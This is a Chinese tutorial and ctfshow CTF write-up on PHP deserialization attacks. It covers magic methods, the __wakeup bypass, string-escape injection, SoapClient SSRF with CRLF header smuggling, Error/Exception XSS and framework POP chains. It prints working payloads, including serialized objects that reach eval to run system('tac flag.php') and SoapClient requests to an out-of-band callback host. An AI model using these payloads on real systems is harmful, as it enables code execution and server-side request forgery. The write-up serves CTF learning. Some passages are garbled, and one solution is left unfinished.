PHP反序列化原生类字符串逃逸框架反序列化利用

news2024/11/23 21:32:38

PHP反序列化

概念

序列化的原因:为了解决开发中数据传输和数据解析的一个情况(类似于要发送一个椅子快递,不可能整个椅子打包发送,这是非常不方便的,所以就要对椅子进行序列化处理,让椅子分成很多部分在一起打包发送,到目的后重新组装,也就是反序列化处理)
在这里插入图片描述

序列化:对象转换为数组或字符串等格式

反序列化:将数组或字符串等格式转换成对象

在php中,serialize()函数是序列化函数、unserialize()函数是反序列化函数

举例:

<?php
header("Content-type: text/html; charset=utf-8");

class user{
    public $name = 'qdy';
    public $sec = 'man';
    public $age = '21';
}
$demo = new user();

$s = serialize($demo); //序列化
$u = unserialize($s); //反序列化
echo $s.'<br>';
var_dump($u);

在这里插入图片描述

上图可见,代码执行完后第一行是被序列化后的字符串

解读:

在这里插入图片描述

常见魔术方法

__construct

初始化函数,一旦调用类就执行初始化函数

<?php
header("Content-type: text/html; charset=utf-8");
class A {
    public $name;
    public $age;
    public $string;
    public function __construct($name,$age,$string)
    {
        $this->name = $name;
        $this->age = $age;
        $this->string = $string;
        echo "初始化函数__construct加载完毕"."<br>";
    }
}
$person = new A("张三",20,"hello world");

在这里插入图片描述

__destruct

销毁函数,unset()函数销毁 或 一旦调用完毕,自动销毁,销毁就执行销毁函数

<?php
header("Content-type: text/html; charset=utf-8");
class A {
    public $name;
    public $age;
    public $string;
    public function __destruct()
    {
        echo "销毁函数__destruct加载完毕"."<br>";
        return array("name"=>$this->name,"age"=>$this->age,"string"=>$this->string);
    }
}
$person = new A("张三",20,"hello world");

在这里插入图片描述

__sleep

序列化函数,一旦对函数实例进行序列化就执行

<?php
header("Content-type: text/html; charset=utf-8");
class A {
    public function __sleep()
    {
        echo "序列化函数__sleep加载完毕"."<br>";
    }

}
$person = new A();
$a = serialize($person);

在这里插入图片描述

__wakeup

反序列化函数,一旦对被序列化的实例反序列化就执行

<?php
header("Content-type: text/html; charset=utf-8");
class B {
    public $name;
    public $age;
    public $string;
    public function __wakeup()
    {
        echo "反序列化函数__wakeup加载完毕"."<br>";
    }
}
$b = new B("a","b","c");
$ser_b = serialize($b);
unserialize($ser_b);

在这里插入图片描述

__invoke

以函数调用方式调用一个对象时,就会被调用执行

<?php
header("Content-type: text/html; charset=utf-8");
class C {
    public function __invoke($param1,$param2,$param3)
    {
        echo "这是一个对象"."<br>";
        var_dump($param1,$param2,$param3);
    }
}
$c = new C();
$c('a','b','c');//此时触发

在这里插入图片描述

__toString

当一个对象被当作一个字符串来操作时,__toString 方法将被调用

<?php
header("Content-type: text/html; charset=utf-8");
class D {
    public function __toString() {
        // 当一个对象被当作一个字符串来操作时,__toString 方法将被调用
        echo "__toString函数被执行"."<br>";
        return "这是一个字符串";
    }
}
$d = new D();
// 当作字符串输出 就执行
echo $d;

在这里插入图片描述

__call

如果调用的方法不存在,则自动执行__call方法

<?php
header("Content-type: text/html; charset=utf-8");
class E {
    public function __call($name,$arguments)
    {
        // 如果调用方法不存在,则自动执行__call方法
        echo "__call函数被调用"."<br>";
        echo "调用方法".$name."不存在"."<br>";
    }
}
$e = new E();
$e->test('a','b');  // test方法不存在

在这里插入图片描述

__get

当试图读取一个不存在的属性时,__get 方法将被调用

<?php
header("Content-type: text/html; charset=utf-8");
class F {
    public $n =123;
    public function __get($name)
    {
        // 当试图读取一个不存在的属性时,__get 方法将被调用
        echo "__get函数被调用"."<br>";
    }
}
$f = new F();
echo $f->n;
echo "<br>";
echo $f->qdy;

在这里插入图片描述

__set

当试图给一个不存在的属性赋值时,__set 方法将被调用

<?php
header("Content-type: text/html; charset=utf-8");
class G {
    public $n =123;
    public function __set($name,$value)
    {
        // 当试图给一个不存在的属性赋值时,__set 方法将被调用
        echo "__set函数被调用"."<br>";
    }
}
$g = new G();
$g->qdy = 456;
var_dump($g);

在这里插入图片描述

__isset

当对不可访问的属性调用 isset() 或 empty() 时,__isset() 会被调用

isset():检测变量是否已设置并且非 NULL,变量已经存在且不是 NULL,则返回 true

empty():检查变量是否为空。这里的“空”是指变量的值不存在、变量的值为 NULL、变量的值为零长度字符串、变量的值为零、变量的值为布尔值 false、或者变量是一个没有元素的数组。如果变量是“空”的,返回 true

<?php
header("Content-type: text/html; charset=utf-8");
class H {
    public $sex; //公共的
    private $age; //私有的
    private $name;
    public function __construct($sex,$age,$name)
    {
        $this->sex = $sex;
        $this->age = $age;
        $this->name = $name;
    }
    public function __isset($connect)
    {
        // 当对不可访问的属性调用 isset() 或 empty() 时,__isset() 会被调用
        echo "__isset函数被调用   $connect"."<br>";
    }
}
$h = new H("man",20,"张三");
echo $h->sex."<br>";
echo isset($h->name);

例如上面代码中的$age是私有的

在这里插入图片描述

__unset

当对不可访问的属性调用 unset() 时,__unset() 会被调用

unset():销毁变量

<?php
header("Content-type: text/html; charset=utf-8");
class I {
    public $sex; //公共的
    private $age; //私有的
    private $name;
    public function __construct($sex,$age,$name)
    {
        $this->sex = $sex;
        $this->age = $age;
        $this->name = $name;
    }
    public function __unset($connect)
    {
        // 当对不可访问的属性调用 unset() 时,__unset() 会被调用
        echo "__unset函数被调用   $connect"."<br>";
    }
}
$i = new I("man",20,"张三");
echo $i->sex."<br>";

__serialize

public __serialize ( ) : array

必须返回数组

__serialize() 函数会检查类中是否存在一个魔术方法 __serialize()。如果存在,该方法将在任何序列化之前优先执行。它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回

如果类中同时定义了 serialize() 和 __sleep() 两个魔术方法,则只有 _serialize() 方法会被调用。 __sleep() 方法会被忽略掉。

<?php
header('Content-Type:text/html;charset=utf-8');
class Cat {
    private $name = null;
    function __construct(?string $name = null){

        if(is_null($this->name)){
            $this->setName($name);
        }
    }
    private function setName($name){
        $this->name = $name;
    }
    public function __serialize(): array
    {
        echo "__serialize执行<br>";
        return [
            'catname' => $this->name,
        ];
    }
    public function __sleep()
    {
        echo "__sleep执行<br>";

    }
}

$Cat = new Cat('旺财');  
serialize($Cat);

在这里插入图片描述

可以发现直接忽略掉了__sleep方法 只执行了__serialize方法

__unserialize

public __unserialize ( array $data) : void

必须接收数组

unserialize() 检查是否存在具有名为 __unserialize() 的魔术方法。此函数将会传递从 __serialize() 返回的恢复数组。然后它可以根据需要从该数组中恢复对象的属性。

注意:如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

<?php
class Connection
{
    protected $link;
    private $dsn, $username, $password;

    public function __construct($dsn, $username, $password)
    {
        $this->dsn = $dsn;
        $this->username = $username;
        $this->password = $password;
    }
    
    public function __unserialize(array $data): void
    {
        echo "执行了__unserialize<br>";
        $this->dsn = $data['dsn'];
        $this->username = $data['user'];
        $this->password = $data['pass'];

        $this->connect();
    }
}

$a = new Connection('mysql:host=localhost;dbname=phpfxl', 'root', '');
unserialize(serialize($a));

在这里插入图片描述

__wakeup绕过(CVE-2016-7124)

漏洞编号:CVE-2016-7124
影响版本:PHP 5-5.6.25; PHP 7-7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性(变量)个数的值大于真实属性个数时会跳过__wakeup执行

<?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class A {
    public $a;
    public function __wakeup() {
        echo "执行了__wakeup方法<br>";
    }
}

$a = new A();
$b = serialize($a);
echo $b."<br>";
$c = unserialize($_GET["x"]);

例如这里传入这个函数的序列化就执行了__wakeup方法

在这里插入图片描述

将表示对象属性数量的位置改为大于本来的变量数量即可不执行__wakeup()方法

在这里插入图片描述

字符串逃逸绕过

直接实例讲解

只需记住在反序列化中;}是反序列化的结束符

字符增加型

<?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];
$param=serialize(new test($param));
echo $param."<br>";
$profile=unserialize(filter($param));    // //对&param的值user进行安全性检查
echo filter($param)."<br>";

if ($profile->pass=='escaping'){    //目标
    echo "flag is there";
}

例如上述题目,目标要使得pass等于escaping,可是pass不可控,只有user是可控的,但是php会被替换为hack,就会增加一位,先构造后面的序列化后pass的数据

";s:4:“pass”;s:8:“escaping”;}

要判断输入多少个php能达成序列化后的数据是正确的我写了一个公式

4x-29 = 3x (x是未知数)

29数值来源于";s:4:“pass”;s:8:“escaping”;}的长度,4是被替换的hack的长度,3是被替换的php的长度,所以x理应等于反序列化后面的长度

只要算出x的值,那么php就该键入x个+";s:4:“pass”;s:8:“escaping”;}

所以x=29,则payload:param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:“pass”;s:8:“escaping”;}
在这里插入图片描述

刚刚好";s:4:“pass”;s:8:“escaping”;}的长度因为被替换多出的长度弥补

字符减少型

<?php
header("Content-type: text/html; charset=utf-8");
//highlight_file(__FILE__);
class A{
    public $v1 = "system()";
    public $v2 = '123';
}
$data = serialize(new A());
$data = str_replace("system()","",$data);    //str_replace把system()替换为"空"
echo $data."<br>";

一个思路

O:1:"A":2:{s:2:"v1";s:8:"";s:2:"v2";s:3:"123";}

由于序列化字符串是以严格的位数和“”决定

//$v1 = "system()";   $v2 = "123"
被替换后:
 O:1:'A":2{s:2:"v1";s:8:"";s:2:"v2";s:3:"123";}

//$v1 = "abcsystem()system()system()"; 26
//$v2 ='1234567";s:2:"v3";N;}'; 21 
被替换后:
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}

abc";s:2:“v2”;s:21:"1234567 就变成了v1的值

然后可以随意构造v3的值

PHP原生类

PHP 原生类指的是 PHP 内置的类,它们可以直接在 PHP 代码中使用且无需安装或导入任何库,相当于代码中的内置方法例如echo ,print等等可以直接调用,但是原生类就是可以就直接php中直接创建的类,我们可以直接调用创建对象,但是这些类中有的会有魔术方法,为此,我们可以创建原生类去利用其中的魔术方法来达到我们反序列化的利用。

PHP 原生类的利用小结 - 先知社区

使用 Error/Exception 内置类进行 XSS

Error 内置类
  • 适用于php7版本

  • 在开启报错的情况下

    Error类是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个 __toString() 的方法,常用于PHP 反序列化中。

demo代码:

<?php
$a = unserialize($_GET['cmd']);
echo $a;
?>

payload:

<?php
$a = new Error("<script>alert('xss')</script>");
echo urlencode(serialize($a));
?>

在这里插入图片描述

Exception 内置类
  • 适用于php5、7版本
  • 开启报错的情况下

demo代码

<?php
$a = unserialize($_GET['cmd']);
echo $a;
?>

POC:

<?php
$a = new Exception("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);  
?>

在这里插入图片描述

使用 SoapClient 类进行 SSRF

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。

该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url。

<?php
$a = new SoapClient(null,array('location'=>'http://test.ivxyak.ceye.io/aaa', 'uri'=>'http://test.ivxyak.ceye.io'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

利用crlf漏洞配合user_agent设置请求头参数和POST数据包

请注意:要带POST数据包就得带上请求头参数Content-Type: application/x-www-form-urlencoded

并且排序一定得规律

<?php
$ua = "ua\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php', 'user_agent'=>$ua,'uri'=>'http://127.0.0.1'));
$b = serialize($a);
echo urlencode($b);
?>

在这里插入图片描述

使用 DirectoryIterator 类绕过 open_basedir

DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口,该类是在 PHP 5 中增加的一个类。

<?php
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
    echo($f->__toString().'<br>');
}

在这里插入图片描述

php框架反序列化利用 ThinkPHP&Yii&Laravel

生成各种框架POP链工具:https://github.com/ambionics/phpggc

[安洵杯 2019]iamthinking Thinkphp V6.0.X 反序列化

在这里插入图片描述

访问www.zip下载源码

在这里插入图片描述

打开后可以判断就是ThinkPHP框架的源码

在这里插入图片描述

由此判断框架版本为6.0.x

查找ThinkPHP的反序列化漏洞有此版本

在这里插入图片描述

生成pop链子

在这里插入图片描述

寻找反序列化的位置发现index.php文件内有unserialize($payload)

在这里插入图片描述

审计代码发现,$payload来源于get传参payload的值

绕过限制将参数payload等于刚刚生成的pop链就行了

ctfshow反序列化

web254

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

想输出flag,可以看见,就得执行ctfShowUser类里面的vipOneKeyGetFlag方法

直接看下面,如果想执行到ctfShowUser类实例里的vipOneKeyGetFlag 就得使得 u s e r − > l o g i n ( user->login( user>login(username, p a s s w o r d ) 为 t r u e , password) 为true, password)trueuser->checkVip()为true,使得 t h i s − > u s e r n a m e = = = this->username=== this>username===u&& t h i s − > p a s s w o r d = = = this->password=== this>password===p就能使得$this->isVip=true,就能执行到vipOneKeyGetFlag

payload:?username=xxxxxx&password=xxxxxx
在这里插入图片描述

web255

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

和上题一样,只不过$user变成了cookie里user参数的值,直接将ctfShowUser改成符合下面代码条件再序列化就行

在这里插入图片描述

payload:

?username=xxxxxx&password=xxxxxx

cookie:user=

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

加个user参数的cookie值为payload就可以

在这里插入图片描述

web256

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                echo "your flag is ".$flag;
            }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这题和上题唯一不一样的点就在vipOneKeyGetFlag方法里想执行echo $flag;就得满足

$this->username!==$this->password

直接更改

public $username='qwer';
public $password='qazx';

在这里插入图片描述

payload:

?username=qwer&password=qazx

cookie:user=

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22qwer%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22qazx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
在这里插入图片描述

web257

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

这里出现了两个魔术方法,__construct和 __destruct

想办法更改类使得执行backDoor里的eval就行

在这里插入图片描述

?username=xxxxxx&password=xxxxxx

cookie:user=

O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

在这里插入图片描述

web258

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

这题和上一题的区别在于多了过滤

在这里插入图片描述

?username=xxxxxx&password=xxxxxx

cookie:user=

O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A%2B8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A%2B8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

在这里插入图片描述

web259 --利用含有__call魔术方法的原生类SoapClient

在这里插入图片描述
在这里插入图片描述

源代码中没有出现任何的类和getflag方法,调用一个不存在的方法时想到触发__call魔术方法。

那接下来就寻找有__call()方法的原生类,

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
           // '__destruct',
           // '__toString',
            //'__wakeup',
            '__call',
            //'__callStatic',
            //'__get',
            //'__set',
            //'__isset',
            //'__unset',
            //'__invoke',
            //'__set_state'    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . '::' . $method . "\n";
        }
    }

}
?>

在这里插入图片描述

执行结束后发现存在SoapClient原生类

这个类可以实现发起http请求

接下来构造,去请求flag.php文件,并且得满足能读到flag的所有条件

在这里插入图片描述

利用ssrf结合crlf构造POC:

<?php
$ua = "ua\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php', 'user_agent'=>$ua,'uri'=>'http://127.0.0.1'));
$b = serialize($a);
echo urlencode($b);
?>

在这里插入图片描述

直接访问flag.txt
在这里插入图片描述

web260

阅读源码,意思就是序列化后的ctfshow参数值只要包含ctfshow_i_love_36D字符串就输出flag

那么直接让ctfshow=ctfshow_i_love_36D就行
在这里插入图片描述

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

可以看见类中全是魔术方法,

__construct:初始化方法

__wakeup:反序列化时自动触发

__invoke:以函数调用方式调用一个对象时,就会被调用执行

__sleep:序列化时被调用

__unserialize:

web271 Laravel

在这里插入图片描述

一打开题目就知道是Laravel框架,利用phpgcc查看相关的pop链
在这里插入图片描述

由于不知道版本,只能一个一个生成pop链尝试
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2230240.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

红队-shodan搜索引擎篇

如涉及侵权马上删除文章 笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负 一.shodan原理与功能的介绍 Shodan Search Engine 它是专门搜网络设备的,只要联网的,只要有IP地址的都可以称为网络设备 1.shodan&#x…

synchronized进阶原理

synchronized进阶原理 1.轻量级锁 轻量级锁的使用场景:如果一个对象虽然有多个线程访问,但多线程访问的时间是错开的(也就是没有竞争),那么可以使用轻量级锁来优化(如果出现竞争,操作系统会将轻量级锁升级为重量级锁)。轻量级锁对使用者是透明的(由操作系统控制),即语法仍是s…

JavaWeb——Web入门(3/9)-HTTP协议:概述(概念、特点,HTTP协议定义,基于 TCP 协议,基于请求-响应模型)

目录 概念 特点 内容预告 概念 HTTP 协议定义&#xff1a;全称 Hyper Text Transfer Protocol&#xff0c;即超文本传输协议&#xff0c;规定了浏览器与服务器之间数据传输的规则&#xff0c;具体指客户端浏览器与服务器之间进行数据交互的数据格式。 在互联网的世界中&…

Altium Designer使用技巧(二)

一、创建类 1、按DC键&#xff0c;打开对象类。 2、右键添加一个类。命名为PWR。 3、将所有的电源类&#xff0c;全部添加到新创建的类中&#xff0c;从非成员类中点选到成员类中。 4、右下角点panes ,点PCB。 5、然后在左边单击PWR&#xff0c;点连接&#xff0c;可显示或…

边缘计算【智能+安全检测】系列教程--agx orin解决RTC时间问题

因为是离线运行&#xff0c;首要问题是时间不准确&#xff0c;就在主板上加装了纽扣电池&#xff0c;但是会有一系列问题&#xff0c;比如无法将RTC时间回写到系统时间&#xff0c;或者无法将系统时间写到RTC中等等一些列问题。为解决这些问题&#xff0c;一劳永逸的方式&#…

React中常用的hook函数(二)——useReducer和useContext

React中常用的hook函数(一)——useState和useEffect_usestate useeffect-CSDN博客https://blog.csdn.net/Mrs_Lupin/article/details/142905749?sharetypeblogdetail&sharerId142905749&sharereferPC&sharesourceMrs_Lupin&spm1011.2480.3001.8118React中常用…

Java项目实战II基于Java+Spring Boot+MySQL的智能推荐的卫生健康系统(开发文档+数据库+源码)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 基于Java、…

《Linux系统编程篇》消息队列(Linux 进程间通信(IPC))——基础篇

文章目录 引言消息队列&#xff08;Message Queue&#xff09;消息队列的特点消息队列的特性消息队列的操作ipcs -q 拓展ipcrm 拓展注意事项 结论 “山重水复疑无路&#xff0c;柳暗花明又一村。” ——陆游 引言 《Linux系统编程篇》——基础篇首页传送门 想象一下&#xff0…

微服务设计模式 - 重试模式(Retry Pattern)

微服务设计模式 - 重试模式&#xff08;Retry Pattern&#xff09; 定义 重试模式&#xff08;Retry Pattern&#xff09;是一种微服务中的设计模式&#xff0c;用于在临时性失败&#xff08;如网络故障或暂时不可用的服务&#xff09;发生时&#xff0c;自动重新尝试请求&…

『 Linux 』网络传输层 - TCP(二)

文章目录 TCP六个标志位TCP的连接三次握手 四次挥手为什么是三次握手和四次挥手 重传机制 TCP六个标志位 在TCP协议报文的报头中存在一个用于标志TCP报文类型的标志位(不考虑保留标志位),这些标志位以比特位选项的方式存在,即对应标志位为0则表示为假,对应标志位为1则为真; SYN…

VLAN虚拟局域网,eNSP实验讲解

VLAN虚拟局域网&#xff0c;eNSP实验讲解 一、概念二、eNSP仿真实验1、实验一&#xff1a;vlan演示&#xff08;交换机端口access模式&#xff09;2、实验二&#xff1a;vlan演示&#xff08;交换机端口trunk模式&#xff09; 一、概念 VLAN&#xff08;Virtual Local Area Ne…

Ubuntu UFW防火墙规则与命令示例大全

在服务器安全领域&#xff0c;防火墙是守护网络安全的坚实盾牌。UFW&#xff08;Uncomplicated Firewall&#xff09;&#xff0c;即“不复杂的防火墙”&#xff0c;是一个运行在iptables之上的防火墙配置工具&#xff0c;它为Ubuntu系统默认提供了一个简洁的命令行界面&#x…

基于 Python 的 Django 框架开发的电影推荐系统

项目简介&#xff1a;本项目是基于 Python 的 Django 框架开发的电影推荐系统&#xff0c;主要功能包括&#xff1a; 电影信息爬取&#xff1a;获取并更新电影数据。数据展示&#xff1a;提供电影数据的列表展示。推荐系统&#xff1a;基于协同过滤算法实现个性化推荐。用户系…

ORB-SLAM2源码学习:ORBextractor.cc:IC_Angle 利用灰度质心法求解关键点方向角

ORB特征点&#xff1a; 特征点是由关键点和描述子两部分组成&#xff0c;关键点是指特征点在图像中的位置&#xff0c;描述子是用来描述关键点周围的像素信息。ORB关键点是在FAST关键点的基础上进行改进给像素增加了一个主方向&#xff0c;称为Oriented FAST。描述子在BRIEF的…

【设计模式】如何用C++实现依赖倒置

【设计模式】如何用C实现依赖倒置 一、什么是依赖倒置&#xff1f; 依赖倒置原则&#xff08;Dependency Inversion Principle&#xff0c;DIP&#xff09;是SOLID面向对象设计原则中的一项。它的核心思想是&#xff1a; 高层模块不应该依赖于低层模块&#xff0c;两者都应该…

‌植物神经紊乱患者,这些锻炼适合你!

植物神经紊乱是一种常见的心理疾病&#xff0c;其主要症状包括焦虑、抑郁、失眠等&#xff0c;严重时还可能出现心慌、气短、憋气、出汗异常等症状。然而&#xff0c;通过适量的锻炼&#xff0c;我们可以帮助调节自主神经系统&#xff0c;缓解这些症状。那么&#xff0c;植物神…

Golang | Leetcode Golang题解之第525题连续数组

题目&#xff1a; 题解&#xff1a; func findMaxLength(nums []int) (maxLength int) {mp : map[int]int{0: -1}counter : 0for i, num : range nums {if num 1 {counter} else {counter--}if prevIndex, has : mp[counter]; has {maxLength max(maxLength, i-prevIndex)} …

第十七届山东省职业院校技能大赛通知分享

近日&#xff0c;山东省教育厅联合相关部门发布了关于举办第十七届山东省职业院校技能大赛的通知&#xff0c;标志着这一旨在深化教育教学改革、推进产教融合与校企合作的重要赛事即将拉开帷幕。 据了解&#xff0c;本次大赛将设中等职业教育组和高等职业教育组&#xff0c;共包…

Angular实现gridview效果

说明&#xff1a;使用angular实现grid效果&#xff0c;支持文字图片多条数据展示 效果图: step1: <mat-grid-list cols"2" rowHeight"2:1"><mat-grid-tile *ngFor"let course of courses">{{ course }}</mat-grid-tile> &l…

web of sicence使用教程(研究生版)

学习视频链接 进入web of science 通过校园资料库进入进入&#xff0c;选择如下 核心检索规则 不区分字母大小写逻辑运算符 可以通过括号改变优先级 常用通配符 短语检索 检索界面 检索类型 选择数据库